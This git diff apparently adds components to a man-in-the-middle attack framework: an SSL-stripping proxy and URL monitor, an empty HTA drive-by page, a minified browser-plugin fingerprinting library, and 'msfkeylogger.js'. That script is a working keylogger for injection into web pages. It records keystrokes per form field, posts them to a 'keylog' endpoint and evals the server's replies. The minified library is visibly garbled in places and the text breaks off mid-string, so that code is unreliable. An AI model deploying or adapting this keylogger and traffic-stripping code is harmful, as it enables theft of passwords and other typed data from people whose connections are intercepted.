0000000..0c725ae --- /dev/null +++ b/core/ferretng/ServerConnectionFactory.py @@ -0,0 +1,50 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +from core.logger import logger +from twisted.internet.protocol import ClientFactory + +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter) + +class ServerConnectionFactory(ClientFactory): + + def __init__(self, command, uri, postData, headers, client): + self.command = command + self.uri = uri + self.postData = postData + self.headers = headers + self.client = client + + def buildProtocol(self, addr): + return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) + + def clientConnectionFailed(self, connector, reason): + log.debug("Server connection failed.") + + destination = connector.getDestination() + + if (destination.port != 443): + log.debug("Retrying via SSL") + self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) + else: + try: + self.client.finish() + except: + pass diff --git a/core/ferretng/URLMonitor.py b/core/ferretng/URLMonitor.py new file mode 100644 index 0000000..1773fc2 --- /dev/null +++ b/core/ferretng/URLMonitor.py @@ -0,0 +1,83 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import re +import os + +class URLMonitor: + + ''' + The URL monitor maintains a set of (client, url) tuples that correspond to requests which the + server is expecting over SSL. It also keeps track of secure favicon urls. + ''' + + # Start the arms race, and end up here... + javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] + cookies = dict() + hijack_client = '' + _instance = None + + def __init__(self): + self.strippedURLs = set() + self.strippedURLPorts = dict() + + @staticmethod + def getInstance(): + if URLMonitor._instance == None: + URLMonitor._instance = URLMonitor() + + return URLMonitor._instance + + def isSecureLink(self, client, url): + for expression in URLMonitor.javascriptTrickery: + if (re.match(expression, url)): + return True + + return (client,url) in self.strippedURLs + + def getSecurePort(self, client, url): + if (client,url) in self.strippedURLs: + return self.strippedURLPorts[(client,url)] + else: + return 443 + + def addSecureLink(self, client, url): + methodIndex = url.find("//") + 2 + method = url[0:methodIndex] + + pathIndex = url.find("/", methodIndex) + if pathIndex is -1: + pathIndex = len(url) + url += "/" + + host = url[methodIndex:pathIndex].lower() + path = url[pathIndex:] + + port = 443 + portIndex = host.find(":") + + if (portIndex != -1): + host = host[0:portIndex] + port = host[portIndex+1:] + if len(port) == 0: + port = 443 + + url = method + host + path + + self.strippedURLs.add((client, url)) + self.strippedURLPorts[(client, url)] = int(port) diff --git a/core/publicsuffix/__init__.py b/core/ferretng/__init__.py similarity index 100% rename from core/publicsuffix/__init__.py rename to core/ferretng/__init__.py diff --git a/core/html/htadriveby.html b/core/html/htadriveby.html new file mode 100644 index 0000000..83dc1dc --- /dev/null +++ b/core/html/htadriveby.html @@ -0,0 +1,71 @@ + \ No newline at end of file diff --git a/core/javascript/msfkeylogger.js b/core/javascript/msfkeylogger.js new file mode 100644 index 0000000..e5ec380 --- /dev/null +++ b/core/javascript/msfkeylogger.js @@ -0,0 +1,117 @@ +window.onload = function (){ + var2 = ","; + name = ''; + function make_xhr(){ + var xhr; + try { + xhr = new XMLHttpRequest(); + } catch(e) { + try { + xhr = new ActiveXObject("Microsoft.XMLHTTP"); + } catch(e) { + xhr = new ActiveXObject("MSXML2.ServerXMLHTTP"); + } + } + if(!xhr) { + throw "failed to create XMLHttpRequest"; + } + return xhr; + } + + xhr = make_xhr(); + xhr.onreadystatechange = function() { + if(xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) { + eval(xhr.responseText); + } + } + + if (window.addEventListener){ + //console.log("first"); + document.addEventListener('keypress', function2, true); + document.addEventListener('keydown', function1, true); + } + else if (window.attachEvent){ + //console.log("second"); + document.attachEvent('onkeypress', function2); + document.attachEvent('onkeydown', function1); + } + else { + //console.log("third"); + document.onkeypress = function2; + document.onkeydown = function1; + } +} + +function function2(e) +{ + try + { + srcname = window.event.srcElement.name; + }catch(error) + { + srcname = e.srcElement ? e.srcElement.name : e.target.name + if (srcname == "") + { + srcname = e.target.name + } + } + + var3 = (e) ? e.keyCode : e.which; + if (var3 == 0) + { + var3 = e.charCode + } + + if (var3 != "d" && var3 != 8 && var3 != 9 && var3 != 13) + { + andxhr(encodeURIComponent(var3), srcname); + } +} + +function function1(e) +{ + try + { + srcname = window.event.srcElement.name; + }catch(error) + { + srcname = e.srcElement ? e.srcElement.name : e.target.name + if (srcname == "") + { + srcname = e.target.name + } + } + + var3 = (e) ? e.keyCode : e.which; + if (var3 == 9 || var3 == 8 || var3 == 13) + { + andxhr(encodeURIComponent(var3), srcname); + } + else if (var3 == 0) + { + + text = document.getElementById(id).value; + if (text.length != 0) + { + andxhr(encodeURIComponent(text), srcname); + } + } + +} +function andxhr(key, inputName) +{ + if (inputName != name) + { + name = inputName; + var2 = ","; + } + var2= var2 + key + ","; + xhr.open("POST", "keylog", true); + xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=utf-8"); + xhr.send(var2 + '&&' + inputName); + + if (key == 13 || var2.length > 3000) + { + var2 = ","; + } +} \ No newline at end of file diff --git a/core/javascript/plugindetect.js b/core/javascript/plugindetect.js new file mode 100644 index 0000000..1eddb16 --- /dev/null +++ b/core/javascript/plugindetect.js @@ -0,0 +1,1300 @@ +/* +PluginDetect v0.9.0 +www.pinlady.net/PluginDetect/license/ +[ QuickTime Java DevalVR Flash Shockwave WindowsMediaPlayer Silverlight VLC AdobeReader PDFReader RealPlayer IEcomponent ActiveX PDFjs ] +[ isMinVersion getVersion hasMimeType onDetectionDone ] +[ AllowActiveX ] +*/ + +var PluginDetect={version:"0.9.0",name:"PluginDetect",addPlugin:function(p,q){if(p&&PluginDetect.isString(p)&&q&&PluginDetect.isFunc(q.getVersion)){p=p.replace(/\s/g,"").toLowerCase();PluginDetect.Plugins[p]=q;if(!PluginDetect.isDefined(q.getVersionDone)){q.installed=null;q.version=null;q.version0=null;q.getVersionDone=null;q.pluginName=p;}}},uniqueName:function(){return PluginDetect.name+"998"},openTag:"<",hasOwnPROP:({}).constructor.prototype.hasOwnProperty,hasOwn:function(s,t){var p;try{p=PluginDetect.hasOwnPROP.call(s,t)}catch(q){}return !!p},rgx:{str:/string/i,num:/number/i,fun:/function/i,arr:/array/i},toString:({}).constructor.prototype.toString,isDefined:function(p){return typeof p!="undefined"},isArray:function(p){return PluginDetect.rgx.arr.test(PluginDetect.toString.call(p))},isString:function(p){return PluginDetect.rgx.str.test(PluginDetect.toString.call(p))},isNum:function(p){return PluginDetect.rgx.num.test(PluginDetect.toString.call(p))},isStrNum:function(p){return PluginDetect.isString(p)&&(/\d/).test(p)},isFunc:function(p){return PluginDetect.rgx.fun.test(PluginDetect.toString.call(p))},getNumRegx:/[\d][\d\.\_,\-]*/,splitNumRegx:/[\.\_,\-]/g,getNum:function(q,r){var p=PluginDetect.isStrNum(q)?(PluginDetect.isDefined(r)?new RegExp(r):PluginDetect.getNumRegx).exec(q):null;return p?p[0]:null},compareNums:function(w,u,t){var s,r,q,v=parseInt;if(PluginDetect.isStrNum(w)&&PluginDetect.isStrNum(u)){if(PluginDetect.isDefined(t)&&t.compareNums){return t.compareNums(w,u)}s=w.split(PluginDetect.splitNumRegx);r=u.split(PluginDetect.splitNumRegx);for(q=0;qv(r[q],10)){return 1}if(v(s[q],10)r||!(/\d/).test(s[p])){s[p]="0"}}return s.slice(0,4).join(",")},pd:{getPROP:function(s,q,p){try{if(s){p=s[q]}}catch(r){}return p},findNavPlugin:function(u){if(u.dbug){return u.dbug}var A=null;if(window.navigator){var z={Find:PluginDetect.isString(u.find)?new RegExp(u.find,"i"):u.find,Find2:PluginDetect.isString(u.find2)?new RegExp(u.find2,"i"):u.find2,Avoid:u.avoid?(PluginDetect.isString(u.avoid)?new RegExp(u.avoid,"i"):u.avoid):0,Num:u.num?/\d/:0},s,r,t,y,x,q,p=navigator.mimeTypes,w=navigator.plugins;if(u.mimes&&p){y=PluginDetect.isArray(u.mimes)?[].concat(u.mimes):(PluginDetect.isString(u.mimes)?[u.mimes]:[]);for(s=0;s-1&&p>r&&s[p]!="0"){return q}if(v[p]!=s[p]){if(r==-1){r=p}if(s[p]!="0"){return q}}}return t},AXO:(function(){var q;try{q=new window.ActiveXObject()}catch(p){}return q?null:window.ActiveXObject})(),getAXO:function(p){var r=null;try{r=new PluginDetect.AXO(p)}catch(q){PluginDetect.errObj=q;}if(r){PluginDetect.browser.ActiveXEnabled=!0}return r},browser:{detectPlatform:function(){var r=this,q,p=window.navigator?navigator.platform||"":"";PluginDetect.OS=100;if(p){var s=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];for(q=s.length-2;q>=0;q=q-2){if(s[q]&&new RegExp(s[q],"i").test(p)){PluginDetect.OS=s[q+1];break}}}},detectIE:function(){var r=this,u=document,t,q,v=window.navigator?navigator.userAgent||"":"",w,p,y;r.ActiveXFilteringEnabled=!1;r.ActiveXEnabled=!1;try{r.ActiveXFilteringEnabled=!!window.external.msActiveXFilteringEnabled()}catch(s){}p=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","TDCCtl.TDCCtl","Shell.UIHelper","HtmlDlgSafeHelper.HtmlDlgSafeHelper","Scripting.Dictionary"];y=["WMPlayer.OCX","ShockwaveFlash.ShockwaveFlash","AgControl.AgControl"];w=p.concat(y);for(t=0;t=7?u.documentMode:0)||((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v)?parseFloat(RegExp.$1,10):7)}},detectNonIE:function(){var p=this,s=window.navigator?navigator:{},r=p.isIE?"":s.userAgent||"",t=s.vendor||"",q=s.product||"";p.isGecko=(/Gecko/i).test(q)&&(/Gecko\s*\/\s*\d/i).test(r);p.verGecko=p.isGecko?PluginDetect.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(r)?RegExp.$1:"0.9"):null;p.isOpera=(/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(r);p.verOpera=p.isOpera?PluginDetect.formatNum(RegExp.$2):null;p.isChrome=!p.isOpera&&(/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(r);p.verChrome=p.isChrome?PluginDetect.formatNum(RegExp.$2):null;p.isSafari=!p.isOpera&&!p.isChrome&&((/Apple/i).test(t)||!t)&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(r);p.verSafari=p.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(r)?PluginDetect.formatNum(RegExp.$1):null;},init:function(){var p=this;p.detectPlatform();p.detectIE();p.detectNonIE()}},init:{hasRun:0,library:function(){window[PluginDetect.name]=PluginDetect;var q=this,p=document;PluginDetect.win.init();PluginDetect.head=p.getElementsByTagName("head")[0]||p.getElementsByTagName("body")[0]||p.body||null;PluginDetect.browser.init();q.hasRun=1;}},ev:{addEvent:function(r,q,p){if(r&&q&&p){if(r.addEventListener){r.addEventListener(q,p,false)}else{if(r.attachEvent){r.attachEvent("on"+q,p)}else{r["on"+q]=this.concatFn(p,r["on"+q])}}}},removeEvent:function(r,q,p){if(r&&q&&p){if(r.removeEventListener){r.removeEventListener(q,p,false)}else{if(r.detachEvent){r.detachEvent("on"+q,p)}}}},concatFn:function(q,p){return function(){q();if(typeof p=="function"){p()}}},handler:function(t,s,r,q,p){return function(){t(s,r,q,p)}},handlerOnce:function(s,r,q,p){return function(){var u=PluginDetect.uniqueName();if(!s[u]){s[u]=1;s(r,q,p)}}},handlerWait:function(s,u,r,q,p){var t=this;return function(){t.setTimeout(t.handler(u,r,q,p),s)}},setTimeout:function(q,p){if(PluginDetect.win&&PluginDetect.win.unload){return}setTimeout(q,p)},fPush:function(q,p){if(PluginDetect.isArray(p)&&(PluginDetect.isFunc(q)||(PluginDetect.isArray(q)&&q.length>0&&PluginDetect.isFunc(q[0])))){p.push(q)}},call0:function(q){var p=PluginDetect.isArray(q)?q.length:-1;if(p>0&&PluginDetect.isFunc(q[0])){q[0](PluginDetect,p>1?q[1]:0,p>2?q[2]:0,p>3?q[3]:0)}else{if(PluginDetect.isFunc(q)){q(PluginDetect)}}},callArray0:function(p){var q=this,r;if(PluginDetect.isArray(p)){while(p.length){r=p[0];p.splice(0,1);if(PluginDetect.win&&PluginDetect.win.unload&&p!==PluginDetect.win.unloadHndlrs){}else{q.call0(r)}}}},call:function(q){var p=this;p.call0(q);p.ifDetectDoneCallHndlrs()},callArray:function(p){var q=this;q.callArray0(p);q.ifDetectDoneCallHndlrs()},allDoneHndlrs:[],ifDetectDoneCallHndlrs:function(){var r=this,p,q;if(!r.allDoneHndlrs.length){return}if(PluginDetect.win){if(!PluginDetect.win.loaded||PluginDetect.win.loadPrvtHndlrs.length||PluginDetect.win.loadPblcHndlrs.length){return}}if(PluginDetect.Plugins){for(p in PluginDetect.Plugins){if(PluginDetect.hasOwn(PluginDetect.Plugins,p)){q=PluginDetect.Plugins[p];if(q&&PluginDetect.isFunc(q.getVersion)){if(q.OTF==3||(q.DoneHndlrs&&q.DoneHndlrs.length)||(q.BIHndlrs&&q.BIHndlrs.length)){return}}}}}r.callArray0(r.allDoneHndlrs);}},isMinVersion:function(v,u,r,q){var s=PluginDetect.pd.findPlugin(v),t,p=-1;if(s.status<0){return s.status}t=s.plugin;u=PluginDetect.formatNum(PluginDetect.isNum(u)?u.toString():(PluginDetect.isStrNum(u)?PluginDetect.getNum(u):"0"));if(t.getVersionDone!=1){t.getVersion(u,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}if(t.installed!==null){p=t.installed<=0.5?t.installed:(t.installed==0.7?1:(t.version===null?0:(PluginDetect.compareNums(t.version,u,t)>=0?1:-0.1)))}return p},getVersion:function(u,r,q){var s=PluginDetect.pd.findPlugin(u),t,p;if(s.status<0){return null}t=s.plugin;if(t.getVersionDone!=1){t.getVersion(null,r,q);if(t.getVersionDone===null){t.getVersionDone=1}}p=(t.version||t.version0);p=p?p.replace(PluginDetect.splitNumRegx,PluginDetect.pd.getVersionDelimiter):p;return p},hasMimeType:function(t){if(t&&window.navigator&&navigator.mimeTypes){var w,v,q,s,p=navigator.mimeTypes,r=PluginDetect.isArray(t)?[].concat(t):(PluginDetect.isString(t)?[t]:[]);s=r.length;for(q=0;q=0){p=(u.L.x==q.x?s.isActiveXObject(u,q.v):PluginDetect.compareNums(t,u.L.v)<=0)?1:-1}}return p},search:function(v){var B=this,w=v.$$,q=0,r;r=v.searchHasRun||B.isDisabled()?1:0;v.searchHasRun=1;if(r){return v.version||null}B.init(v);var F,E,D,s=v.DIGITMAX,t,p,C=99999999,u=[0,0,0,0],G=[0,0,0,0];var A=function(y,PluginDetect){var H=[].concat(u),I;H[y]=PluginDetect;I=B.isActiveXObject(v,H.join(","));if(I){q=1;u[y]=PluginDetect}else{G[y]=PluginDetect}return I};for(F=0;FG[F]&&PluginDetect.compareNums(p,v.Lower[D])>=0&&PluginDetect.compareNums(t,v.Upper[D])<0){G[F]=Math.floor(s[D][F])}}}for(E=0;E<30;E++){if(G[F]-u[F]<=16){for(D=G[F];D>=u[F]+(F?1:0);D--){if(A(F,D)){break}}break}A(F,Math.round((G[F]+u[F])/2))}if(!q){break}G[F]=u[F];}if(q){v.version=B.convert(v,u.join(",")).v}return v.version||null},emptyNode:function(p){try{p.innerHTML=""}catch(q){}},HTML:[],len:0,onUnload:function(r,q){var p,t=q.HTML,s;for(p=0;p'+PluginDetect.openTag+"/object>";for(p=0;p=0){return 0}r.innerHTML=u.tagA+q+u.tagB;if(PluginDetect.pd.getPROP(r.firstChild,"object")){p=1}if(p){u.min=q;t.HTML.push({spanObj:r,span:t.span})}else{u.max=q;r.innerHTML=""}return p},span:function(){return this.spanObj},convert_:function(t,p,q,s){var r=t.convert[p];return r?(PluginDetect.isFunc(r)?PluginDetect.formatNum(r(q.split(PluginDetect.splitNumRegx),s).join(",")):q):r},convert:function(v,r,u){var t=this,q,p,s;r=PluginDetect.formatNum(r);p={v:r,x:-1};if(r){for(q=0;q=0&&(!q||PluginDetect.compareNums(r,u?t.convert_(v,q,v.Upper[q]):v.Upper[q])<0)){p.v=t.convert_(v,q,r,u);p.x=q;break}}}return p},z:0},win:{disable:function(){this.cancel=true},cancel:false,loaded:false,unload:false,hasRun:0,init:function(){var p=this;if(!p.hasRun){p.hasRun=1;if((/complete/i).test(document.readyState||"")){p.loaded=true;}else{PluginDetect.ev.addEvent(window,"load",p.onLoad)}PluginDetect.ev.addEvent(window,"unload",p.onUnload)}},loadPrvtHndlrs:[],loadPblcHndlrs:[],unloadHndlrs:[],onUnload:function(){var p=PluginDetect.win;if(p.unload){return}p.unload=true;PluginDetect.ev.removeEvent(window,"load",p.onLoad);PluginDetect.ev.removeEvent(window,"unload",p.onUnload);PluginDetect.ev.callArray(p.unloadHndlrs)},onLoad:function(){var p=PluginDetect.win;if(p.loaded||p.unload||p.cancel){return}p.loaded=true;PluginDetect.ev.callArray(p.loadPrvtHndlrs);PluginDetect.ev.callArray(p.loadPblcHndlrs);}},DOM:{isEnabled:{objectTag:function(){var q=PluginDetect.browser,p=q.isIE?0:1;if(q.ActiveXEnabled){p=1}return !!p},objectTagUsingActiveX:function(){var p=0;if(PluginDetect.browser.ActiveXEnabled){p=1}return !!p},objectProperty:function(p){if(p&&p.tagName&&PluginDetect.browser.isIE){if((/applet/i).test(p.tagName)){return(!this.objectTag()||PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement("object"),"object"))?1:0)}return PluginDetect.isDefined(PluginDetect.pd.getPROP(document.createElement(p.tagName),"object"))?1:0}return 0}},HTML:[],div:null,divID:"plugindetect",divWidth:500,getDiv:function(){return this.div||document.getElementById(this.divID)||null},initDiv:function(){var q=this,p;if(!q.div){p=q.getDiv();if(p){q.div=p;}else{q.div=document.createElement("div");q.div.id=q.divID;q.setStyle(q.div,q.getStyle.div());q.insertDivInBody(q.div)}PluginDetect.ev.fPush([q.onUnload,q],PluginDetect.win.unloadHndlrs)}p=0},pluginSize:1,iframeWidth:40,iframeHeight:10,altHTML:"     ",emptyNode:function(q){var p=this;if(q&&(/div|span/i).test(q.tagName||"")){if(PluginDetect.browser.isIE){p.setStyle(q,["display","none"])}try{q.innerHTML=""}catch(r){}}},removeNode:function(p){try{if(p&&p.parentNode){p.parentNode.removeChild(p)}}catch(q){}},onUnload:function(u,t){var r,q,s,v,w=t.HTML,p=w.length;if(p){for(q=p-1;q>=0;q--){v=w[q];if(v){w[q]=0;t.emptyNode(v.span());t.removeNode(v.span());v.span=0;v.spanObj=0;v.doc=0;v.objectProperty=0}}}r=t.getDiv();t.emptyNode(r);t.removeNode(r);v=0;s=0;r=0;t.div=0},span:function(){var p=this;if(!p.spanObj){p.spanObj=p.doc.getElementById(p.spanId)}return p.spanObj||null},width:function(){var t=this,s=t.span(),q,r,p=-1;q=s&&PluginDetect.isNum(s.scrollWidth)?s.scrollWidth:p;r=s&&PluginDetect.isNum(s.offsetWidth)?s.offsetWidth:p;s=0;return r>0?r:(q>0?q:Math.max(r,q))},obj:function(){var p=this.span();return p?p.firstChild||null:null},readyState:function(){var p=this;return PluginDetect.browser.isIE&&PluginDetect.isDefined(PluginDetect.pd.getPROP(p.span(),"readyState"))?PluginDetect.pd.getPROP(p.obj(),"readyState"):PluginDetect.UNDEFINED},objectProperty:function(){var r=this,q=r.DOM,p;if(q.isEnabled.objectProperty(r)){p=PluginDetect.pd.getPROP(r.obj(),"object")}return p},onLoadHdlr:function(p,q){q.loaded=1},getTagStatus:function(q,A,E,D,t,H,v){var F=this;if(!q||!q.span()){return -2}var y=q.width(),r=q.obj()?1:0,s=q.readyState(),p=q.objectProperty();if(p){return 1.5}var u=/clsid\s*\:/i,C=E&&u.test(E.outerHTML||"")?E:(D&&u.test(D.outerHTML||"")?D:0),w=E&&!u.test(E.outerHTML||"")?E:(D&&!u.test(D.outerHTML||"")?D:0),z=q&&u.test(q.outerHTML||"")?C:w;if(!A||!A.span()||!z||!z.span()){return -2}var x=z.width(),B=A.width(),G=z.readyState();if(y<0||x<0||B<=F.pluginSize){return 0}if(v&&!q.pi&&PluginDetect.isDefined(p)&&PluginDetect.browser.isIE&&q.tagName==z.tagName&&q.time<=z.time&&y===x&&s===0&&G!==0){q.pi=1}if(x.'+PluginDetect.openTag+"/div>");q=s.getElementById(u)}catch(r){}}p=s.getElementsByTagName("body")[0]||s.body;if(p){p.insertBefore(v,p.firstChild);if(q){p.removeChild(q)}}v=0},iframe:{onLoad:function(p,q){PluginDetect.ev.callArray(p);},insert:function(r,q){var s=this,v=PluginDetect.DOM,p,u=document.createElement("iframe"),t;v.setStyle(u,v.getStyle.iframe());u.width=v.iframeWidth;u.height=v.iframeHeight;v.initDiv();p=v.getDiv();p.appendChild(u);try{s.doc(u).open()}catch(w){}u[PluginDetect.uniqueName()]=[];t=PluginDetect.ev.handlerOnce(PluginDetect.isNum(r)&&r>0?PluginDetect.ev.handlerWait(r,s.onLoad,u[PluginDetect.uniqueName()],q):PluginDetect.ev.handler(s.onLoad,u[PluginDetect.uniqueName()],q));PluginDetect.ev.addEvent(u,"load",t);if(!u.onload){u.onload=t}PluginDetect.ev.addEvent(s.win(u),"load",t);return u},addHandler:function(q,p){if(q){PluginDetect.ev.fPush(p,q[PluginDetect.uniqueName()])}},close:function(p){try{this.doc(p).close()}catch(q){}},write:function(p,r){try{this.doc(p).write(r)}catch(q){}},win:function(p){try{return p.contentWindow}catch(q){}return null},doc:function(p){var r;try{r=p.contentWindow.document}catch(q){}try{if(!r){r=p.contentDocument}}catch(q){}return r||null}},insert:function(t,s,u,p,y,w,v){var D=this,F,E,C,B,A;if(!v){D.initDiv();v=D.getDiv()}if(v){if((/div/i).test(v.tagName)){B=v.ownerDocument}if((/iframe/i).test(v.tagName)){B=D.iframe.doc(v)}}if(B&&B.createElement){}else{B=document}if(!PluginDetect.isDefined(p)){p=""}if(PluginDetect.isString(t)&&(/[^\s]/).test(t)){t=t.toLowerCase().replace(/\s/g,"");F=PluginDetect.openTag+t+" ";F+='style="'+D.getStyle.plugin(w)+'" ';var r=1,q=1;for(A=0;A"}else{F+=">";for(A=0;A'}}F+=p+PluginDetect.openTag+"/"+t+">"}}else{t="";F=p}E={spanId:"",spanObj:null,span:D.span,loaded:null,tagName:t,outerHTML:F,DOM:D,time:new Date().getTime(),width:D.width,obj:D.obj,readyState:D.readyState,objectProperty:D.objectProperty,doc:B};if(v&&v.parentNode){if((/iframe/i).test(v.tagName)){D.iframe.addHandler(v,[D.onLoadHdlr,E]);E.loaded=0;E.spanId=PluginDetect.name+"Span"+D.HTML.length;C=''+F+"";D.iframe.write(v,C)}else{if((/div/i).test(v.tagName)){C=B.createElement("span");D.setStyle(C,D.getStyle.span());v.appendChild(C);try{C.innerHTML=F}catch(z){}E.spanObj=C}}}C=0;v=0;D.HTML.push(E);return E}},file:{any:"fileStorageAny999",valid:"fileStorageValid999",save:function(s,t,r){var q=this,p;if(s&&PluginDetect.isDefined(r)){if(!s[q.any]){s[q.any]=[]}if(!s[q.valid]){s[q.valid]=[]}s[q.any].push(r);p=q.split(t,r);if(p){s[q.valid].push(p)}}},getValidLength:function(p){return p&&p[this.valid]?p[this.valid].length:0},getAnyLength:function(p){return p&&p[this.any]?p[this.any].length:0},getValid:function(r,p){var q=this;return r&&r[q.valid]?q.get(r[q.valid],p):null},getAny:function(r,p){var q=this;return r&&r[q.any]?q.get(r[q.any],p):null},get:function(s,p){var r=s.length-1,q=PluginDetect.isNum(p)?p:r;return(q<0||q>r)?null:s[q]},split:function(t,q){var s=null,p,r;t=t?t.replace(".","\\."):"";r=new RegExp("^(.*[^\\/])("+t+"\\s*)$");if(PluginDetect.isString(q)&&r.test(q)){p=(RegExp.$1).split("/");s={name:p[p.length-1],ext:RegExp.$2,full:q};p[p.length-1]="";s.path=p.join("/")}return s}},Plugins:{}};PluginDetect.init.library();var i={setPluginStatus:function(q,p,s){var r=this;r.version=p?PluginDetect.formatNum(p,3):null;r.installed=r.version?1:(s?(s>0?0.7:-0.1):(q?0:-1));r.getVersionDone=r.installed==0.7||r.installed==-0.1||r.nav.done===0?0:1;},getVersion:function(s,t){var u=this,p=null,r=0,q;t=PluginDetect.browser.isIE?0:t;if((!r||PluginDetect.dbug)&&u.nav.query(t).installed){r=1}if((!p||PluginDetect.dbug)&&u.nav.query(t).version){p=u.nav.version}q=!p?u.codebase.isMin(s):0;if(q){u.setPluginStatus(0,0,q);return}if(!p||PluginDetect.dbug){q=u.codebase.search();if(q){r=1;p=q}}if((!r||PluginDetect.dbug)&&u.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&u.axo.query().version){p=u.axo.version}u.setPluginStatus(r,p)},nav:{done:null,installed:0,version:null,result:[0,0],mimeType:["video/quicktime","application/x-quicktimeplayer","image/x-macpaint","image/x-quicktime","application/x-rtsp","application/x-sdp","application/sdp","audio/vnd.qcelp","video/sd-video","audio/mpeg","video/mp4","video/3gpp2","application/x-mpeg","audio/x-m4b","audio/x-aac","video/flc"],find:"QuickTime.*Plug-?in",find2:"QuickTime.*Plug-?in",find3filename:"QuickTime|QT",avoid:"Totem|VLC|RealPlayer|Helix|MPlayer|Windows\\s*Media\\s*Player",plugins:"QuickTime Plug-in",detect:function(s){var t=this,r,q,p={installed:0,version:null,plugin:null};r=PluginDetect.pd.findNavPlugin({find:t.find,find2:s?0:t.find2,avoid:s?0:t.avoid,mimes:t.mimeType,plugins:t.plugins});if(r){p.plugin=r;p.installed=1;q=new RegExp(t.find,"i");if(r.name&&q.test(r.name+"")){p.version=PluginDetect.getNum(r.name+"")}}return p},query:function(r){var q=this,t,s;r=r?1:0;if(q.done===null){if(PluginDetect.hasMimeType(q.mimeType)){s=q.detect(1);if(s.installed){t=q.detect(0);q.result=[t,t.installed?t:s]}var x=q.result[0],v=q.result[1],w=new RegExp(q.avoid,"i"),u=new RegExp(q.find3filename,"i"),p;x=x?x.plugin:0;v=v?v.plugin:0;if(!x&&v&&v.name&&(!v.description||(/^[\s]*$/).test(v.description+""))&&!w.test(v.name+"")){p=(v.filename||"")+"";if((/^.*[\\\/]([^\\\/]*)$/).test(p)){p=RegExp.$1;}if(p&&u.test(p)&&!w.test(p)){q.result[0]=q.result[1]}}}q.done=q.result[0]===q.result[1]?1:0;}if(q.result[r]){q.installed=q.result[r].installed;q.version=q.result[r].version}return q}},codebase:{classID:"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",isMin:function(r){var s=this,q,p=0;s.$$=i;if(PluginDetect.isStrNum(r)){q=r.split(PluginDetect.splitNumRegx);if(q.length>3&&parseInt(q[3],10)>0){q[3]="9999"}r=q.join(",");p=PluginDetect.codebase.isMin(s,r)}return p},search:function(){this.$$=i;return PluginDetect.codebase.search(this)},DIGITMAX:[[12,11,11],[7,60],[7,11,11],0,[7,11,11]],DIGITMIN:[5,0,0,0],Upper:["999","7,60","7,50","7,6","7,5"],Lower:["7,60","7,50","7,6","7,5","0"],convert:[1,function(r,q){return q?[r[0],r[1]+r[2],r[3],"0"]:[r[0],r[1].charAt(0),r[1].charAt(1),r[2]]},1,0,1]},axo:{hasRun:0,installed:0,version:null,progID:["QuickTimeCheckObject.QuickTimeCheck","QuickTimeCheckObject.QuickTimeCheck.1"],progID0:"QuickTime.QuickTime",query:function(){var r=this,t,p,q,s=r.hasRun||!PluginDetect.browser.ActiveXEnabled;r.hasRun=1;if(s){return r}for(p=0;p0?0.7:-0.1):(v?1:(p?-0.2:-1))}if(t.OTF==2&&t.NOTF&&!t.applet.getResult()[0]){t.installed=p?-0.2:-1}if(t.OTF==3&&t.installed!=-0.5&&t.installed!=0.5){t.installed=(t.NOTF.isJavaActive(1)>=1?0.5:-0.5)}if(t.OTF==4&&(t.installed==-0.5||t.installed==0.5)){if(v){t.installed=1}else{if(q){t.installed=q>0?0.7:-0.1}else{if(t.NOTF.isJavaActive(1)>=1){if(p){t.installed=1;v=p}else{t.installed=0}}else{if(p){t.installed=-0.2}else{t.installed=-1}}}}}if(p){t.version0=PluginDetect.formatNum(PluginDetect.getNum(p))}if(v&&!q){t.version=PluginDetect.formatNum(PluginDetect.getNum(v))}if(w&&PluginDetect.isString(w)){t.vendor=w}if(!t.vendor){t.vendor=""}if(t.verify&&t.verify.isEnabled()){t.getVersionDone=0}else{if(t.getVersionDone!=1){if(t.OTF<2){t.getVersionDone=0}else{t.getVersionDone=t.applet.can_Insert_Query_Any()?0:1}}}},DTK:{hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["c